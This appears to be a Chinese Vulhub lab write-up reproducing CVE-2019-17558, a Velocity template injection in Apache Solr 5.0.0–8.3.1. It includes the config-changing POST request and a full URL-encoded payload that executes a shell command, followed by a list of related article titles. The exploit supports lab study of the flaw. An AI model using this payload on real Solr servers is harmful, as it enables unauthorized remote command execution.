Apache Solr 是一个开源的搜索服务器。

在其 5.0.0 到 8.3.1版本中,用户可以注入自定义模板,通过Velocity模板语言执行任意命令。

具体漏洞原理和POC可以参考:

  • https://nvd.nist.gov/vuln/detail/CVE-2019-17558
  • https://issues.apache.org/jira/browse/SOLR-13971
  • https://gist.github.com/s00py/a1ba36a3689fa13759ff910e179fc133
  • https://github.com/jas502n/solr_rce

漏洞环境

执行如下命令启动一个Apache Solr 8.2.0服务器:

docker-compose up -d

服务启动后,访问http://your-ip:8983即可查看到一个无需权限的Apache Solr服务。

漏洞复现

默认情况下params.resource.loader.enabled配置未打开,无法使用自定义模板。我们先通过如下API获取所有的核心:

http://your-ip:8983/solr/admin/cores?indexInfo=false&wt=json

Vulhub里唯一的核心是demo

通过如下请求开启params.resource.loader.enabled,其中API路径包含刚才获取的core名称:

POST /solr/demo/config HTTP/1.1
Host: solr:8983
Content-Type: application/json
Content-Length: 259{"update-queryresponsewriter": {"startup": "lazy","name": "velocity","class": "solr.VelocityResponseWriter","template.base.dir": "","solr.resource.loader.enabled": "true","params.resource.loader.enabled": "true"}
}

之后,注入Velocity模板即可执行任意命令:

http://your-ip:8983/solr/demo/select?q=1&&wt=velocity&v.template=custom&v.template.custom=%23set($x=%27%27)+%23set($rt=$x.class.forName(%27java.lang.Runtime%27))+%23set($chr=$x.class.forName(%27java.lang.Character%27))+%23set($str=$x.class.forName(%27java.lang.String%27))+%23set($ex=$rt.getRuntime().exec(%27id%27))+$ex.waitFor()+%23set($out=$ex.getInputStream())+%23foreach($i+in+[1..$out.available()])$str.valueOf($chr.toChars($out.read()))%23end

apache solr velocity 注入远程命令执行漏洞 (cve-2019-17558)相关推荐

  1. Apache Solr Velocity 注入远程命令执行漏洞复现 (CVE-2019-17558)

    漏洞描述 Solr是Apache Lucene项目的开源企业搜索平台. 其主要功能包括全文检索.命中标示.分面搜索.动态聚类.数据库集成,以及富文本的处理. 2019年10月30日,国外安全研究人员放 ...

  2. Apache[多后缀文件名解析漏洞+换行解析漏洞+SSI远程命令执行漏洞]复现

    目录 一.多后缀文件解析漏洞 二.Apache换行解析漏洞(CVE-2017-15715) 三.Apache SSI 远程命令执行漏洞

  3. 远程命令执行漏洞与远程代码执行漏洞33333

    远程命令执行漏洞的概念 远程命令执行漏洞,指用户通过浏览器提交执行操作命令, 由于服务器端,没有针对执行函数做过滤,就执行了恶意命令 远程代码执行漏洞概念 代码执行漏洞也叫代码注入漏洞,指用户通过浏览 ...

  4. Fastjson远程命令执行漏洞总结

    1.FastJson 简介 fastjson.jar包原始下载地址:https://github.com/alibaba/fastjson fastjson用于将Java Bean序列化为JSON字符 ...

  5. jenkins java反序列化_Jenkins “Java 反序列化”过程远程命令执行漏洞

    ###漏洞原理 反序列化是指特定语言中将传递的对象序列化数据重新恢复为实例对象的过程,而在这个过程中会执行一系列的字节流解析和对象实例化操作用于恢复之前序列化时的对象.在原博文所提到的那些 Java ...

  6. 紧急:Spring框架被爆出存在0day级别远程命令执行漏洞。漏洞危害程度不亚于log4j漏洞根据目前掌握的信息,JDK版本在9及以上的Spring框架均受影响。该漏洞目前无官方修复补丁

    Spring框架被爆出存在0day级别远程命令执行漏洞.漏洞危害程度不亚于log4j漏洞根据目前掌握的信息,JDK版本在9及以上的Spring框架均受影响. 漏洞信息和漏洞影响排查方法如下: 漏洞名称 ...

  7. GoAhead远程命令执行漏洞(CVE-2021-42342)

    GoAhead远程命令执行漏洞(CVE-2021-42342) 目录 GoAhead远程命令执行漏洞(CVE-2021-42342) 漏洞描述 漏洞复现 启动环境 复现漏洞 漏洞描述 漏洞主要是由于上 ...

  8. 锐捷NBR路由器 EWEB网管系统 远程命令执行漏洞 + GetShell

    锐捷NBR路由器 EWEB网管系统 远程命令执行漏洞 + GetShell 漏洞编号: CNVD-2021-09650 漏洞描述:锐捷NBR路由器 EWEB网关系统部分接口存在命令注入,导致远程命令执 ...

  9. DIR-645远程命令执行漏洞

    首先我们分析网上公开的exp确定漏洞相关组件及payload,之后通过IDA分析研究漏洞是如何触发的,最后在attifyos中进行模拟,验证漏洞. 本次实验的漏洞是某品牌路由器service.cgi远 ...

最新文章

  1. SPI初始化C语言编程,SD卡spi模式读写,初始化和复位都成功了
  2. 【NLP】PET——文本分类的又一种妙解
  3. SQL2005使用游标的实例(SBO中计算到期应收账款)
  4. 前端页面预览word_jquery.media.js实现前端页面预览
  5. R语言可视化学习笔记之ggridges包绘制山峦图
  6. php根据时间搜索的控件,yii2 crud生成的搜索中 自定义按 时间 搜索
  7. .Net 2.0对文件传输协议(FTP)操作(上传,下载,新建,删除,FTP间传送文件等) 2
  8. 【案例】MySQL count操作优化案例一则
  9. 魅族路由器极速版刷机_[技术贴]路由器刷pandavan固件教程——以魅族路由器极速版为例...
  10. Banner加载轮播图
  11. eMarketer:女性网民更偏爱网络社区
  12. 简单操作绕过 PayPal 捐赠地区限制(2022.10.1可用)
  13. A商品69元,买二送一;即买3个商品,付2件钱,小于3件时,按原价购买。
  14. 第6章 - 多无人车系统的协同控制 --> 多无人车协同控制
  15. 笔记 - 汽车之家的反爬手段
  16. 2018年4月份 软件发明专利培训
  17. 一文弄懂Python中的Lambda表达式
  18. Python进阶--网络爬虫基础
  19. 拐点检测常用算法总结
  20. DirectX12 3D游戏开发实践(龙书)第一章 向量代数

热门文章

  1. 5G NPN 行业专网 — 解决方案
  2. 模组使用之APN、CS、PS、小区选择、小区重选、小区切换介绍
  3. matlab画图函数plot
  4. ELK 环境搭建1-Elasticsearch
  5. asp.net夜话之九:验证控件(上)
  6. Spring 框架的AOP之注解的方式
  7. 利好不断 分布式光伏迎黄金时代
  8. MySQL数据单个数据太大,导入不进去
  9. eclipse外观设置
  10. Windows phone应从Android吸取四点教训